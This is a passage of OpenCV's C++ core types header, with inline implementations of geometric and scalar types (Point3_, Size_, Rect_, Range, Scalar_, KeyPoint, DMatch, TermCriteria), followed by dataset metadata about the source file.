pt) { return pt.ddot(pt); } template<> inline double normL2Sqr<double>(const Point_<double>& pt) { return pt.ddot(pt); } //////////////////////////////// 3D Point /////////////////////////////// template<typename _Tp> inline Point3_<_Tp>::Point3_() : x(0), y(0), z(0) {} template<typename _Tp> inline Point3_<_Tp>::Point3_(_Tp _x, _Tp _y, _Tp _z) : x(_x), y(_y), z(_z) {} template<typename _Tp> inline Point3_<_Tp>::Point3_(const Point3_& pt) : x(pt.x), y(pt.y), z(pt.z) {} template<typename _Tp> inline Point3_<_Tp>::Point3_(Point3_&& pt) CV_NOEXCEPT : x(std::move(pt.x)), y(std::move(pt.y)), z(std::move(pt.z)) {} template<typename _Tp> inline Point3_<_Tp>::Point3_(const Point_<_Tp>& pt) : x(pt.x), y(pt.y), z(_Tp()) {} template<typename _Tp> inline Point3_<_Tp>::Point3_(const Vec<_Tp, 3>& v) : x(v[0]), y(v[1]), z(v[2]) {} template<typename _Tp> template<typename _Tp2> inline Point3_<_Tp>::operator Point3_<_Tp2>() const { return Point3_<_Tp2>(saturate_cast<_Tp2>(x), saturate_cast<_Tp2>(y), saturate_cast<_Tp2>(z)); } template<typename _Tp> inline Point3_<_Tp>::operator Vec<_Tp, 3>() const { return Vec<_Tp, 3>(x, y, z); } template<typename _Tp> inline Point3_<_Tp>& Point3_<_Tp>::operator = (const Point3_& pt) { x = pt.x; y = pt.y; z = pt.z; return *this; } template<typename _Tp> inline Point3_<_Tp>& Point3_<_Tp>::operator = (Point3_&& pt) CV_NOEXCEPT { x = std::move(pt.x); y = std::move(pt.y); z = std::move(pt.z); return *this; } template<typename _Tp> inline _Tp Point3_<_Tp>::dot(const Point3_& pt) const { return saturate_cast<_Tp>(x*pt.x + y*pt.y + z*pt.z); } template<typename _Tp> inline double Point3_<_Tp>::ddot(const Point3_& pt) const { return (double)x*pt.x + (double)y*pt.y + (double)z*pt.z; } template<typename _Tp> inline Point3_<_Tp> Point3_<_Tp>::cross(const Point3_<_Tp>& pt) const { return Point3_<_Tp>(y*pt.z - z*pt.y, z*pt.x - x*pt.z, x*pt.y - y*pt.x); } template<typename _Tp> static inline Point3_<_Tp>& operator += (Point3_<_Tp>& a, const Point3_<_Tp>& b) { a.x += b.x; a.y += b.y; a.z += b.z; return a; } template<typename _Tp> static inline Point3_<_Tp>& operator -= (Point3_<_Tp>& a, const Point3_<_Tp>& b) { a.x -= b.x; a.y -= b.y; a.z -= b.z; return a; } template<typename _Tp> static inline Point3_<_Tp>& operator *= (Point3_<_Tp>& a, int b) { a.x = saturate_cast<_Tp>(a.x * b); a.y = saturate_cast<_Tp>(a.y * b); a.z = saturate_cast<_Tp>(a.z * b); return a; } template<typename _Tp> static inline Point3_<_Tp>& operator *= (Point3_<_Tp>& a, float b) { a.x = saturate_cast<_Tp>(a.x * b); a.y = saturate_cast<_Tp>(a.y * b); a.z = saturate_cast<_Tp>(a.z * b); return a; } template<typename _Tp> static inline Point3_<_Tp>& operator *= (Point3_<_Tp>& a, double b) { a.x = saturate_cast<_Tp>(a.x * b); a.y = saturate_cast<_Tp>(a.y * b); a.z = saturate_cast<_Tp>(a.z * b); return a; } template<typename _Tp> static inline Point3_<_Tp>& operator /= (Point3_<_Tp>& a, int b) { a.x = saturate_cast<_Tp>(a.x / b); a.y = saturate_cast<_Tp>(a.y / b); a.z = saturate_cast<_Tp>(a.z / b); return a; } template<typename _Tp> static inline Point3_<_Tp>& operator /= (Point3_<_Tp>& a, float b) { a.x = saturate_cast<_Tp>(a.x / b); a.y = saturate_cast<_Tp>(a.y / b); a.z = saturate_cast<_Tp>(a.z / b); return a; } template<typename _Tp> static inline Point3_<_Tp>& operator /= (Point3_<_Tp>& a, double b) { a.x = saturate_cast<_Tp>(a.x / b); a.y = saturate_cast<_Tp>(a.y / b); a.z = saturate_cast<_Tp>(a.z / b); return a; } template<typename _Tp> static inline double norm(const Point3_<_Tp>& pt) { return std::sqrt((double)pt.x*pt.x + (double)pt.y*pt.y + (double)pt.z*pt.z); } template<typename _Tp> static inline bool operator == (const Point3_<_Tp>& a, const Point3_<_Tp>& b) { return a.x == b.x && a.y == b.y && a.z == b.z; } template<typename _Tp> static inline bool operator != (const Point3_<_Tp>& a, const Point3_<_Tp>& b) { return a.x != b.x || a.y != b.y || a.z != b.z; } template<typename _Tp> static inline Point3_<_Tp> operator + (const Point3_<_Tp>& a, const Point3_<_Tp>& b) { return Point3_<_Tp>( saturate_cast<_Tp>(a.x + b.x), saturate_cast<_Tp>(a.y + b.y), saturate_cast<_Tp>(a.z + b.z)); } template<typename _Tp> static inline Point3_<_Tp> operator - (const Point3_<_Tp>& a, const Point3_<_Tp>& b) { return Point3_<_Tp>( saturate_cast<_Tp>(a.x - b.x), saturate_cast<_Tp>(a.y - b.y), saturate_cast<_Tp>(a.z - b.z)); } template<typename _Tp> static inline Point3_<_Tp> operator - (const Point3_<_Tp>& a) { return Point3_<_Tp>( saturate_cast<_Tp>(-a.x), saturate_cast<_Tp>(-a.y), saturate_cast<_Tp>(-a.z) ); } template<typename _Tp> static inline Point3_<_Tp> operator * (const Point3_<_Tp>& a, int b) { return Point3_<_Tp>( saturate_cast<_Tp>(a.x*b), saturate_cast<_Tp>(a.y*b), saturate_cast<_Tp>(a.z*b) ); } template<typename _Tp> static inline Point3_<_Tp> operator * (int a, const Point3_<_Tp>& b) { return Point3_<_Tp>( saturate_cast<_Tp>(b.x * a), saturate_cast<_Tp>(b.y * a), saturate_cast<_Tp>(b.z * a) ); } template<typename _Tp> static inline Point3_<_Tp> operator * (const Point3_<_Tp>& a, float b) { return Point3_<_Tp>( saturate_cast<_Tp>(a.x * b), saturate_cast<_Tp>(a.y * b), saturate_cast<_Tp>(a.z * b) ); } template<typename _Tp> static inline Point3_<_Tp> operator * (float a, const Point3_<_Tp>& b) { return Point3_<_Tp>( saturate_cast<_Tp>(b.x * a), saturate_cast<_Tp>(b.y * a), saturate_cast<_Tp>(b.z * a) ); } template<typename _Tp> static inline Point3_<_Tp> operator * (const Point3_<_Tp>& a, double b) { return Point3_<_Tp>( saturate_cast<_Tp>(a.x * b), saturate_cast<_Tp>(a.y * b), saturate_cast<_Tp>(a.z * b) ); } template<typename _Tp> static inline Point3_<_Tp> operator * (double a, const Point3_<_Tp>& b) { return Point3_<_Tp>( saturate_cast<_Tp>(b.x * a), saturate_cast<_Tp>(b.y * a), saturate_cast<_Tp>(b.z * a) ); } template<typename _Tp> static inline Point3_<_Tp> operator * (const Matx<_Tp, 3, 3>& a, const Point3_<_Tp>& b) { Matx<_Tp, 3, 1> tmp = a * Vec<_Tp,3>(b.x, b.y, b.z); return Point3_<_Tp>(tmp.val[0], tmp.val[1], tmp.val[2]); } template<typename _Tp> static inline Matx<_Tp, 4, 1> operator * (const Matx<_Tp, 4, 4>& a, const Point3_<_Tp>& b) { return a * Matx<_Tp, 4, 1>(b.x, b.y, b.z, 1); } template<typename _Tp> static inline Point3_<_Tp> operator / (const Point3_<_Tp>& a, int b) { Point3_<_Tp> tmp(a); tmp /= b; return tmp; } template<typename _Tp> static inline Point3_<_Tp> operator / (const Point3_<_Tp>& a, float b) { Point3_<_Tp> tmp(a); tmp /= b; return tmp; } template<typename _Tp> static inline Point3_<_Tp> operator / (const Point3_<_Tp>& a, double b) { Point3_<_Tp> tmp(a); tmp /= b; return tmp; } ////////////////////////////////// Size ///////////////////////////////// template<typename _Tp> inline Size_<_Tp>::Size_() : width(0), height(0) {} template<typename _Tp> inline Size_<_Tp>::Size_(_Tp _width, _Tp _height) : width(_width), height(_height) {} template<typename _Tp> inline Size_<_Tp>::Size_(const Size_& sz) : width(sz.width), height(sz.height) {} template<typename _Tp> inline Size_<_Tp>::Size_(Size_&& sz) CV_NOEXCEPT : width(std::move(sz.width)), height(std::move(sz.height)) {} template<typename _Tp> inline Size_<_Tp>::Size_(const Point_<_Tp>& pt) : width(pt.x), height(pt.y) {} template<typename _Tp> template<typename _Tp2> inline Size_<_Tp>::operator Size_<_Tp2>() const { return Size_<_Tp2>(saturate_cast<_Tp2>(width), saturate_cast<_Tp2>(height)); } template<typename _Tp> inline Size_<_Tp>& Size_<_Tp>::operator = (const Size_<_Tp>& sz) { width = sz.width; height = sz.height; return *this; } template<typename _Tp> inline Size_<_Tp>& Size_<_Tp>::operator = (Size_<_Tp>&& sz) CV_NOEXCEPT { width = std::move(sz.width); height = std::move(sz.height); return *this; } template<typename _Tp> inline _Tp Size_<_Tp>::area() const { const _Tp result = width * height; CV_DbgAssert(!std::numeric_limits<_Tp>::is_integer || width == 0 || result / width == height); // make sure the result fits in the return value return result; } template<typename _Tp> inline double Size_<_Tp>::aspectRatio() const { return width / static_cast<double>(height); } template<typename _Tp> inline bool Size_<_Tp>::empty() const { return width <= 0 || height <= 0; } template<typename _Tp> static inline Size_<_Tp>& operator *= (Size_<_Tp>& a, _Tp b) { a.width *= b; a.height *= b; return a; } template<typename _Tp> static inline Size_<_Tp> operator * (const Size_<_Tp>& a, _Tp b) { Size_<_Tp> tmp(a); tmp *= b; return tmp; } template<typename _Tp> static inline Size_<_Tp>& operator /= (Size_<_Tp>& a, _Tp b) { a.width /= b; a.height /= b; return a; } template<typename _Tp> static inline Size_<_Tp> operator / (const Size_<_Tp>& a, _Tp b) { Size_<_Tp> tmp(a); tmp /= b; return tmp; } template<typename _Tp> static inline Size_<_Tp>& operator += (Size_<_Tp>& a, const Size_<_Tp>& b) { a.width += b.width; a.height += b.height; return a; } template<typename _Tp> static inline Size_<_Tp> operator + (const Size_<_Tp>& a, const Size_<_Tp>& b) { Size_<_Tp> tmp(a); tmp += b; return tmp; } template<typename _Tp> static inline Size_<_Tp>& operator -= (Size_<_Tp>& a, const Size_<_Tp>& b) { a.width -= b.width; a.height -= b.height; return a; } template<typename _Tp> static inline Size_<_Tp> operator - (const Size_<_Tp>& a, const Size_<_Tp>& b) { Size_<_Tp> tmp(a); tmp -= b; return tmp; } template<typename _Tp> static inline bool operator == (const Size_<_Tp>& a, const Size_<_Tp>& b) { return a.width == b.width && a.height == b.height; } template<typename _Tp> static inline bool operator != (const Size_<_Tp>& a, const Size_<_Tp>& b) { return !(a == b); } ////////////////////////////////// Rect ///////////////////////////////// template<typename _Tp> inline Rect_<_Tp>::Rect_() : x(0), y(0), width(0), height(0) {} template<typename _Tp> inline Rect_<_Tp>::Rect_(_Tp _x, _Tp _y, _Tp _width, _Tp _height) : x(_x), y(_y), width(_width), height(_height) {} template<typename _Tp> inline Rect_<_Tp>::Rect_(const Rect_<_Tp>& r) : x(r.x), y(r.y), width(r.width), height(r.height) {} template<typename _Tp> inline Rect_<_Tp>::Rect_(Rect_<_Tp>&& r) CV_NOEXCEPT : x(std::move(r.x)), y(std::move(r.y)), width(std::move(r.width)), height(std::move(r.height)) {} template<typename _Tp> inline Rect_<_Tp>::Rect_(const Point_<_Tp>& org, const Size_<_Tp>& sz) : x(org.x), y(org.y), width(sz.width), height(sz.height) {} template<typename _Tp> inline Rect_<_Tp>::Rect_(const Point_<_Tp>& pt1, const Point_<_Tp>& pt2) { x = std::min(pt1.x, pt2.x); y = std::min(pt1.y, pt2.y); width = std::max(pt1.x, pt2.x) - x; height = std::max(pt1.y, pt2.y) - y; } template<typename _Tp> inline Rect_<_Tp>& Rect_<_Tp>::operator = ( const Rect_<_Tp>& r ) { x = r.x; y = r.y; width = r.width; height = r.height; return *this; } template<typename _Tp> inline Rect_<_Tp>& Rect_<_Tp>::operator = ( Rect_<_Tp>&& r ) CV_NOEXCEPT { x = std::move(r.x); y = std::move(r.y); width = std::move(r.width); height = std::move(r.height); return *this; } template<typename _Tp> inline Point_<_Tp> Rect_<_Tp>::tl() const { return Point_<_Tp>(x,y); } template<typename _Tp> inline Point_<_Tp> Rect_<_Tp>::br() const { return Point_<_Tp>(x + width, y + height); } template<typename _Tp> inline Size_<_Tp> Rect_<_Tp>::size() const { return Size_<_Tp>(width, height); } template<typename _Tp> inline _Tp Rect_<_Tp>::area() const { const _Tp result = width * height; CV_DbgAssert(!std::numeric_limits<_Tp>::is_integer || width == 0 || result / width == height); // make sure the result fits in the return value return result; } template<typename _Tp> inline bool Rect_<_Tp>::empty() const { return width <= 0 || height <= 0; } template<typename _Tp> template<typename _Tp2> inline Rect_<_Tp>::operator Rect_<_Tp2>() const { return Rect_<_Tp2>(saturate_cast<_Tp2>(x), saturate_cast<_Tp2>(y), saturate_cast<_Tp2>(width), saturate_cast<_Tp2>(height)); } template<typename _Tp> inline bool Rect_<_Tp>::contains(const Point_<_Tp>& pt) const { return x <= pt.x && pt.x < x + width && y <= pt.y && pt.y < y + height; } template<typename _Tp> static inline Rect_<_Tp>& operator += ( Rect_<_Tp>& a, const Point_<_Tp>& b ) { a.x += b.x; a.y += b.y; return a; } template<typename _Tp> static inline Rect_<_Tp>& operator -= ( Rect_<_Tp>& a, const Point_<_Tp>& b ) { a.x -= b.x; a.y -= b.y; return a; } template<typename _Tp> static inline Rect_<_Tp>& operator += ( Rect_<_Tp>& a, const Size_<_Tp>& b ) { a.width += b.width; a.height += b.height; return a; } template<typename _Tp> static inline Rect_<_Tp>& operator -= ( Rect_<_Tp>& a, const Size_<_Tp>& b ) { const _Tp width = a.width - b.width; const _Tp height = a.height - b.height; CV_DbgAssert(width >= 0 && height >= 0); a.width = width; a.height = height; return a; } template<typename _Tp> static inline Rect_<_Tp>& operator &= ( Rect_<_Tp>& a, const Rect_<_Tp>& b ) { _Tp x1 = std::max(a.x, b.x); _Tp y1 = std::max(a.y, b.y); a.width = std::min(a.x + a.width, b.x + b.width) - x1; a.height = std::min(a.y + a.height, b.y + b.height) - y1; a.x = x1; a.y = y1; if( a.width <= 0 || a.height <= 0 ) a = Rect(); return a; } template<typename _Tp> static inline Rect_<_Tp>& operator |= ( Rect_<_Tp>& a, const Rect_<_Tp>& b ) { if (a.empty()) { a = b; } else if (!b.empty()) { _Tp x1 = std::min(a.x, b.x); _Tp y1 = std::min(a.y, b.y); a.width = std::max(a.x + a.width, b.x + b.width) - x1; a.height = std::max(a.y + a.height, b.y + b.height) - y1; a.x = x1; a.y = y1; } return a; } template<typename _Tp> static inline bool operator == (const Rect_<_Tp>& a, const Rect_<_Tp>& b) { return a.x == b.x && a.y == b.y && a.width == b.width && a.height == b.height; } template<typename _Tp> static inline bool operator != (const Rect_<_Tp>& a, const Rect_<_Tp>& b) { return a.x != b.x || a.y != b.y || a.width != b.width || a.height != b.height; } template<typename _Tp> static inline Rect_<_Tp> operator + (const Rect_<_Tp>& a, const Point_<_Tp>& b) { return Rect_<_Tp>( a.x + b.x, a.y + b.y, a.width, a.height ); } template<typename _Tp> static inline Rect_<_Tp> operator - (const Rect_<_Tp>& a, const Point_<_Tp>& b) { return Rect_<_Tp>( a.x - b.x, a.y - b.y, a.width, a.height ); } template<typename _Tp> static inline Rect_<_Tp> operator + (const Rect_<_Tp>& a, const Size_<_Tp>& b) { return Rect_<_Tp>( a.x, a.y, a.width + b.width, a.height + b.height ); } template<typename _Tp> static inline Rect_<_Tp> operator - (const Rect_<_Tp>& a, const Size_<_Tp>& b) { const _Tp width = a.width - b.width; const _Tp height = a.height - b.height; CV_DbgAssert(width >= 0 && height >= 0); return Rect_<_Tp>( a.x, a.y, width, height ); } template<typename _Tp> static inline Rect_<_Tp> operator & (const Rect_<_Tp>& a, const Rect_<_Tp>& b) { Rect_<_Tp> c = a; return c &= b; } template<typename _Tp> static inline Rect_<_Tp> operator | (const Rect_<_Tp>& a, const Rect_<_Tp>& b) { Rect_<_Tp> c = a; return c |= b; } /** * @brief measure dissimilarity between two sample sets * * computes the complement of the Jaccard Index as described in <https://en.wikipedia.org/wiki/Jaccard_index>. * For rectangles this reduces to computing the intersection over the union. */ template<typename _Tp> static inline double jaccardDistance(const Rect_<_Tp>& a, const Rect_<_Tp>& b) { _Tp Aa = a.area(); _Tp Ab = b.area(); if ((Aa + Ab) <= std::numeric_limits<_Tp>::epsilon()) { // jaccard_index = 1 -> distance = 0 return 0.0; } double Aab = (a & b).area(); // distance = 1 - jaccard_index return 1.0 - Aab / (Aa + Ab - Aab); } ////////////////////////////// RotatedRect ////////////////////////////// inline RotatedRect::RotatedRect() : center(), size(), angle(0) {} inline RotatedRect::RotatedRect(const Point2f& _center, const Size2f& _size, float _angle) : center(_center), size(_size), angle(_angle) {} ///////////////////////////////// Range ///////////////////////////////// inline Range::Range() : start(0), end(0) {} inline Range::Range(int _start, int _end) : start(_start), end(_end) {} inline int Range::size() const { return end - start; } inline bool Range::empty() const { return start == end; } inline Range Range::all() { return Range(INT_MIN, INT_MAX); } static inline bool operator == (const Range& r1, const Range& r2) { return r1.start == r2.start && r1.end == r2.end; } static inline bool operator != (const Range& r1, const Range& r2) { return !(r1 == r2); } static inline bool operator !(const Range& r) { return r.start == r.end; } static inline Range operator & (const Range& r1, const Range& r2) { Range r(std::max(r1.start, r2.start), std::min(r1.end, r2.end)); r.end = std::max(r.end, r.start); return r; } static inline Range& operator &= (Range& r1, const Range& r2) { r1 = r1 & r2; return r1; } static inline Range operator + (const Range& r1, int delta) { return Range(r1.start + delta, r1.end + delta); } static inline Range operator + (int delta, const Range& r1) { return Range(r1.start + delta, r1.end + delta); } static inline Range operator - (const Range& r1, int delta) { return r1 + (-delta); } ///////////////////////////////// Scalar //////////////////////////////// template<typename _Tp> inline Scalar_<_Tp>::Scalar_() { this->val[0] = this->val[1] = this->val[2] = this->val[3] = 0; } template<typename _Tp> inline Scalar_<_Tp>::Scalar_(_Tp v0, _Tp v1, _Tp v2, _Tp v3) { this->val[0] = v0; this->val[1] = v1; this->val[2] = v2; this->val[3] = v3; } template<typename _Tp> inline Scalar_<_Tp>::Scalar_(const Scalar_<_Tp>& s) : Vec<_Tp, 4>(s) { } template<typename _Tp> inline Scalar_<_Tp>::Scalar_(Scalar_<_Tp>&& s) CV_NOEXCEPT { this->val[0] = std::move(s.val[0]); this->val[1] = std::move(s.val[1]); this->val[2] = std::move(s.val[2]); this->val[3] = std::move(s.val[3]); } template<typename _Tp> inline Scalar_<_Tp>& Scalar_<_Tp>::operator=(const Scalar_<_Tp>& s) { this->val[0] = s.val[0]; this->val[1] = s.val[1]; this->val[2] = s.val[2]; this->val[3] = s.val[3]; return *this; } template<typename _Tp> inline Scalar_<_Tp>& Scalar_<_Tp>::operator=(Scalar_<_Tp>&& s) CV_NOEXCEPT { this->val[0] = std::move(s.val[0]); this->val[1] = std::move(s.val[1]); this->val[2] = std::move(s.val[2]); this->val[3] = std::move(s.val[3]); return *this; } template<typename _Tp> template<typename _Tp2, int cn> inline Scalar_<_Tp>::Scalar_(const Vec<_Tp2, cn>& v) { int i; for( i = 0; i < (cn < 4 ? cn : 4); i++ ) this->val[i] = cv::saturate_cast<_Tp>(v.val[i]); for( ; i < 4; i++ ) this->val[i] = 0; } template<typename _Tp> inline Scalar_<_Tp>::Scalar_(_Tp v0) { this->val[0] = v0; this->val[1] = this->val[2] = this->val[3] = 0; } template<typename _Tp> inline Scalar_<_Tp> Scalar_<_Tp>::all(_Tp v0) { return Scalar_<_Tp>(v0, v0, v0, v0); } template<typename _Tp> inline Scalar_<_Tp> Scalar_<_Tp>::mul(const Scalar_<_Tp>& a, double scale ) const { return Scalar_<_Tp>(saturate_cast<_Tp>(this->val[0] * a.val[0] * scale), saturate_cast<_Tp>(this->val[1] * a.val[1] * scale), saturate_cast<_Tp>(this->val[2] * a.val[2] * scale), saturate_cast<_Tp>(this->val[3] * a.val[3] * scale)); } template<typename _Tp> inline Scalar_<_Tp> Scalar_<_Tp>::conj() const { return Scalar_<_Tp>(saturate_cast<_Tp>( this->val[0]), saturate_cast<_Tp>(-this->val[1]), saturate_cast<_Tp>(-this->val[2]), saturate_cast<_Tp>(-this->val[3])); } template<typename _Tp> inline bool Scalar_<_Tp>::isReal() const { return this->val[1] == 0 && this->val[2] == 0 && this->val[3] == 0; } template<typename _Tp> template<typename T2> inline Scalar_<_Tp>::operator Scalar_<T2>() const { return Scalar_<T2>(saturate_cast<T2>(this->val[0]), saturate_cast<T2>(this->val[1]), saturate_cast<T2>(this->val[2]), saturate_cast<T2>(this->val[3])); } template<typename _Tp> static inline Scalar_<_Tp>& operator += (Scalar_<_Tp>& a, const Scalar_<_Tp>& b) { a.val[0] += b.val[0]; a.val[1] += b.val[1]; a.val[2] += b.val[2]; a.val[3] += b.val[3]; return a; } template<typename _Tp> static inline Scalar_<_Tp>& operator -= (Scalar_<_Tp>& a, const Scalar_<_Tp>& b) { a.val[0] -= b.val[0]; a.val[1] -= b.val[1]; a.val[2] -= b.val[2]; a.val[3] -= b.val[3]; return a; } template<typename _Tp> static inline Scalar_<_Tp>& operator *= ( Scalar_<_Tp>& a, _Tp v ) { a.val[0] *= v; a.val[1] *= v; a.val[2] *= v; a.val[3] *= v; return a; } template<typename _Tp> static inline bool operator == ( const Scalar_<_Tp>& a, const Scalar_<_Tp>& b ) { return a.val[0] == b.val[0] && a.val[1] == b.val[1] && a.val[2] == b.val[2] && a.val[3] == b.val[3]; } template<typename _Tp> static inline bool operator != ( const Scalar_<_Tp>& a, const Scalar_<_Tp>& b ) { return a.val[0] != b.val[0] || a.val[1] != b.val[1] || a.val[2] != b.val[2] || a.val[3] != b.val[3]; } template<typename _Tp> static inline Scalar_<_Tp> operator + (const Scalar_<_Tp>& a, const Scalar_<_Tp>& b) { return Scalar_<_Tp>(a.val[0] + b.val[0], a.val[1] + b.val[1], a.val[2] + b.val[2], a.val[3] + b.val[3]); } template<typename _Tp> static inline Scalar_<_Tp> operator - (const Scalar_<_Tp>& a, const Scalar_<_Tp>& b) { return Scalar_<_Tp>(saturate_cast<_Tp>(a.val[0] - b.val[0]), saturate_cast<_Tp>(a.val[1] - b.val[1]), saturate_cast<_Tp>(a.val[2] - b.val[2]), saturate_cast<_Tp>(a.val[3] - b.val[3])); } template<typename _Tp> static inline Scalar_<_Tp> operator * (const Scalar_<_Tp>& a, _Tp alpha) { return Scalar_<_Tp>(a.val[0] * alpha, a.val[1] * alpha, a.val[2] * alpha, a.val[3] * alpha); } template<typename _Tp> static inline Scalar_<_Tp> operator * (_Tp alpha, const Scalar_<_Tp>& a) { return a*alpha; } template<typename _Tp> static inline Scalar_<_Tp> operator - (const Scalar_<_Tp>& a) { return Scalar_<_Tp>(saturate_cast<_Tp>(-a.val[0]), saturate_cast<_Tp>(-a.val[1]), saturate_cast<_Tp>(-a.val[2]), saturate_cast<_Tp>(-a.val[3])); } template<typename _Tp> static inline Scalar_<_Tp> operator * (const Scalar_<_Tp>& a, const Scalar_<_Tp>& b) { return Scalar_<_Tp>(saturate_cast<_Tp>(a[0]*b[0] - a[1]*b[1] - a[2]*b[2] - a[3]*b[3]), saturate_cast<_Tp>(a[0]*b[1] + a[1]*b[0] + a[2]*b[3] - a[3]*b[2]), saturate_cast<_Tp>(a[0]*b[2] - a[1]*b[3] + a[2]*b[0] + a[3]*b[1]), saturate_cast<_Tp>(a[0]*b[3] + a[1]*b[2] - a[2]*b[1] + a[3]*b[0])); } template<typename _Tp> static inline Scalar_<_Tp>& operator *= (Scalar_<_Tp>& a, const Scalar_<_Tp>& b) { a = a * b; return a; } template<typename _Tp> static inline Scalar_<_Tp> operator / (const Scalar_<_Tp>& a, _Tp alpha) { return Scalar_<_Tp>(a.val[0] / alpha, a.val[1] / alpha, a.val[2] / alpha, a.val[3] / alpha); } template<typename _Tp> static inline Scalar_<float> operator / (const Scalar_<float>& a, float alpha) { float s = 1 / alpha; return Scalar_<float>(a.val[0] * s, a.val[1] * s, a.val[2] * s, a.val[3] * s); } template<typename _Tp> static inline Scalar_<double> operator / (const Scalar_<double>& a, double alpha) { double s = 1 / alpha; return Scalar_<double>(a.val[0] * s, a.val[1] * s, a.val[2] * s, a.val[3] * s); } template<typename _Tp> static inline Scalar_<_Tp>& operator /= (Scalar_<_Tp>& a, _Tp alpha) { a = a / alpha; return a; } template<typename _Tp> static inline Scalar_<_Tp> operator / (_Tp a, const Scalar_<_Tp>& b) { _Tp s = a / (b[0]*b[0] + b[1]*b[1] + b[2]*b[2] + b[3]*b[3]); return b.conj() * s; } template<typename _Tp> static inline Scalar_<_Tp> operator / (const Scalar_<_Tp>& a, const Scalar_<_Tp>& b) { return a * ((_Tp)1 / b); } template<typename _Tp> static inline Scalar_<_Tp>& operator /= (Scalar_<_Tp>& a, const Scalar_<_Tp>& b) { a = a / b; return a; } template<typename _Tp> static inline Scalar operator * (const Matx<_Tp, 4, 4>& a, const Scalar& b) { Matx<double, 4, 1> c((Matx<double, 4, 4>)a, b, Matx_MatMulOp()); return reinterpret_cast<const Scalar&>(c); } template<> inline Scalar operator * (const Matx<double, 4, 4>& a, const Scalar& b) { Matx<double, 4, 1> c(a, b, Matx_MatMulOp()); return reinterpret_cast<const Scalar&>(c); } //////////////////////////////// KeyPoint /////////////////////////////// inline KeyPoint::KeyPoint() : pt(0,0), size(0), angle(-1), response(0), octave(0), class_id(-1) {} inline KeyPoint::KeyPoint(Point2f _pt, float _size, float _angle, float _response, int _octave, int _class_id) : pt(_pt), size(_size), angle(_angle), response(_response), octave(_octave), class_id(_class_id) {} inline KeyPoint::KeyPoint(float x, float y, float _size, float _angle, float _response, int _octave, int _class_id) : pt(x, y), size(_size), angle(_angle), response(_response), octave(_octave), class_id(_class_id) {} ///////////////////////////////// DMatch //////////////////////////////// inline DMatch::DMatch() : queryIdx(-1), trainIdx(-1), imgIdx(-1), distance(FLT_MAX) {} inline DMatch::DMatch(int _queryIdx, int _trainIdx, float _distance) : queryIdx(_queryIdx), trainIdx(_trainIdx), imgIdx(-1), distance(_distance) {} inline DMatch::DMatch(int _queryIdx, int _trainIdx, int _imgIdx, float _distance) : queryIdx(_queryIdx), trainIdx(_trainIdx), imgIdx(_imgIdx), distance(_distance) {} inline bool DMatch::operator < (const DMatch &m) const { return distance < m.distance; } ////////////////////////////// TermCriteria ///////////////////////////// inline TermCriteria::TermCriteria() : type(0), maxCount(0), epsilon(0) {} inline TermCriteria::TermCriteria(int _type, int _maxCount, double _epsilon) : type(_type), maxCount(_maxCount), epsilon(_epsilon) {} //! @endcond } // cv #endif //OPENCV_CORE_TYPES_HPP
72,206
types
hpp
en
cpp
code
{"qsc_code_num_words": 10300, "qsc_code_num_chars": 72206.0, "qsc_code_mean_word_length": 4.20475728, "qsc_code_frac_words_unique": 0.07805825, "qsc_code_frac_chars_top_2grams": 0.08534023, "qsc_code_frac_chars_top_3grams": 0.08852663, "qsc_code_frac_chars_top_4grams": 0.06539057, "qsc_code_frac_chars_dupe_5grams": 0.65729987, "qsc_code_frac_chars_dupe_6grams": 0.60188413, "qsc_code_frac_chars_dupe_7grams": 0.57304486, "qsc_code_frac_chars_dupe_8grams": 0.53192177, "qsc_code_frac_chars_dupe_9grams": 0.49430834, "qsc_code_frac_chars_dupe_10grams": 0.45212312, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01608406, "qsc_code_frac_chars_whitespace": 0.2052461, "qsc_code_size_file_byte": 72206.0, "qsc_code_num_lines": 2476.0, "qsc_code_num_chars_line_max": 155.0, "qsc_code_num_chars_line_mean": 29.16235864, "qsc_code_frac_chars_alphabet": 0.73861221, "qsc_code_frac_chars_comments": 0.26967288, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.34512195, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00119468, "qsc_code_frac_chars_long_word_length": 0.00081541, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.00243902, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.02621951, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.06097561, "qsc_codecpp_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
0015/ESP32-OpenCV-Projects
esp32/examples/color_code/main/opencv/opencv2/core/va_intel.hpp
